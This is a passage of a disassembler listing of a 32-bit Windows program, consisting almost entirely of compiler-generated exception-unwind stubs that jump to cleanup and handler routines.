; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C10:				; DATA XREF: ___:00414122o
		mov	eax, offset dword_440230
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C38:				; DATA XREF: ___:004402A4o
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414230	proc near		; DATA XREF: sub_414230+2o
		mov	eax, offset dword_440278
		jmp	sub_4367C8
SEH_414230	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C88:				; DATA XREF: ___:004402F4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414360	proc near		; DATA XREF: sub_414360+2o
		mov	eax, offset dword_4402C8
		jmp	sub_4367C8
SEH_414360	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CC8:				; DATA XREF: ___:0044033Co
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CD8:				; DATA XREF: ___:00414402o
		mov	eax, offset dword_440310
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4144D0	proc near		; DATA XREF: sub_4144D0+2o
		mov	eax, offset dword_440350
		jmp	sub_4367C8
SEH_4144D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D18:				; DATA XREF: ___:004403ACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D20:				; DATA XREF: ___:00414692o
		mov	eax, offset dword_440380
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D38:				; DATA XREF: ___:004403E4o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4147D0	proc near		; DATA XREF: sub_4147D0+2o
		mov	eax, offset dword_4403B8
		jmp	sub_4367C8
SEH_4147D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D5B:				; DATA XREF: ___:0044041Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4149D0	proc near		; DATA XREF: sub_4149D0+2o
		mov	eax, offset dword_4403F0
		jmp	sub_4367C8
SEH_4149D0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D98:				; DATA XREF: ___:00414A62o
		mov	eax, offset dword_440430
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DB8:				; DATA XREF: ___:00414AF2o
		mov	eax, offset dword_440460
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DD8:				; DATA XREF: ___:004404BCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414CA0	proc near		; DATA XREF: sub_414CA0+2o
		mov	eax, offset dword_440490
		jmp	sub_4367C8
SEH_414CA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D40	proc near		; DATA XREF: sub_414D40+8o
		mov	eax, offset dword_4404D8
		jmp	sub_4367C8
SEH_414D40	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_439E78:				; DATA XREF: ___:00440564o
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FE1:				; DATA XREF: ___:00416992o
		mov	eax, offset dword_440538
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43A058:				; DATA XREF: ___:00440674o
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A1C1:				; DATA XREF: ___:00416D32o
		mov	eax, offset dword_440648
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_416FB0	proc near		; DATA XREF: sub_416FB0+2o
		mov	eax, offset dword_440758
		jmp	sub_4367C8
SEH_416FB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_43A25B:				; DATA XREF: ___:004407B4o
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417020	proc near		; DATA XREF: sub_417020+2o
		mov	eax, offset dword_440788
		jmp	sub_4367C8
SEH_417020	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A68B:				; DATA XREF: ___:004409F4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417540	proc near		; DATA XREF: sub_417540+2o
		mov	eax, offset dword_4409C8
		jmp	sub_4367C8
SEH_417540	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A6DB:				; DATA XREF: ___:00440A3Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4175E0	proc near		; DATA XREF: sub_4175E0+2o
		mov	eax, offset dword_440A10
		jmp	sub_4367C8
SEH_4175E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A74E:				; DATA XREF: ___:00440A94o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176B0	proc near		; DATA XREF: sub_4176B0+2o
		mov	eax, offset dword_440A68
		jmp	sub_4367C8
SEH_4176B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A7AB:				; DATA XREF: ___:00440ADCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417770	proc near		; DATA XREF: sub_417770+2o
		mov	eax, offset dword_440AB0
		jmp	sub_4367C8
SEH_417770	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A80B:				; DATA XREF: ___:00440B2Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417830	proc near		; DATA XREF: sub_417830+2o
		mov	eax, offset dword_440B00
		jmp	sub_4367C8
SEH_417830	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4178F0	proc near		; DATA XREF: sub_4178F0+2o
		mov	eax, offset dword_440B50
		jmp	sub_4367C8
SEH_4178F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417960	proc near		; DATA XREF: sub_417960+2o
		mov	eax, offset dword_440B80
		jmp	sub_4367C8
SEH_417960	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179D0	proc near		; DATA XREF: sub_4179D0+2o
		mov	eax, offset dword_440BB0
		jmp	sub_4367C8
SEH_4179D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_440BE0
		jmp	sub_4367C8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A8FB:				; DATA XREF: ___:00440C44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B20	proc near		; DATA XREF: sub_417B20+2o
		mov	eax, offset dword_440C18
		jmp	sub_4367C8
SEH_417B20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A94B:				; DATA XREF: ___:00440C8Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417BC0	proc near		; DATA XREF: sub_417BC0+2o
		mov	eax, offset dword_440C60
		jmp	sub_4367C8
SEH_417BC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A99B:				; DATA XREF: ___:00440CD4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C60	proc near		; DATA XREF: sub_417C60+2o
		mov	eax, offset dword_440CA8
		jmp	sub_4367C8
SEH_417C60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AA0E:				; DATA XREF: ___:00440D2Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D30	proc near		; DATA XREF: sub_417D30+2o
		mov	eax, offset dword_440D00
		jmp	sub_4367C8
SEH_417D30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


